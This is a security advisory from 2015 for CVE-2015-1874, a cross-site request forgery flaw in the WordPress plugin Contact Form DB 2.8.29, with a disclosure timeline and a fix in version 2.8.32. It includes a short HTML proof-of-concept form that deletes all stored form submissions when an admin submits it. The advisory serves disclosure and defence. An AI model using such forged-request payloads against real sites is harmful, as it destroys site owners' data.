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WordPress Contact Form DB 2.8.29 Cross Site Request Forgery
Posted on 05 March 2015
Details ================ Software: Contact Form DB Version: 2.8.29 Homepage: https://wordpress.org/plugins/contact-form-7-to-database-extension/ Advisory report: https://security.dxw.com/advisories/csrf-in-contact-form-db-allows-attacker-to-delete-all-stored-form-submissions/ CVE: CVE-2015-1874 CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N) Description ================ CSRF in Contact Form DB allows attacker to delete all stored form submissions Vulnerability ================ An attacker able to convince a logged in admin user to follow a link (for instance via spearphishing) will be able to cause all records stored by this plugin to be removed. Proof of concept ================ If a logged-in administrator user clicks the submit button on this form, all records stored by the plugin will be deleted (in a real attack the form can be made to auto-submit using Javascript). <form action="http://localhost/wp-admin/admin.php?page=CF7DBPluginSubmissions" method="post"> <input name="all" type="text" value="y"> <input name="delete" type="text" value="y"> <input type="submit"> </form> Mitigations ================ Upgrade to version 2.8.32 or later Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2015-02-05: Discovered 2015-02-17: Reported to vendor by email 2015-02-22: Vendor responded and agreed a schedule for fix 2015-02-23: Vendor published a fix in version 2.8.32 2015-03-04: Advisory published Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information.
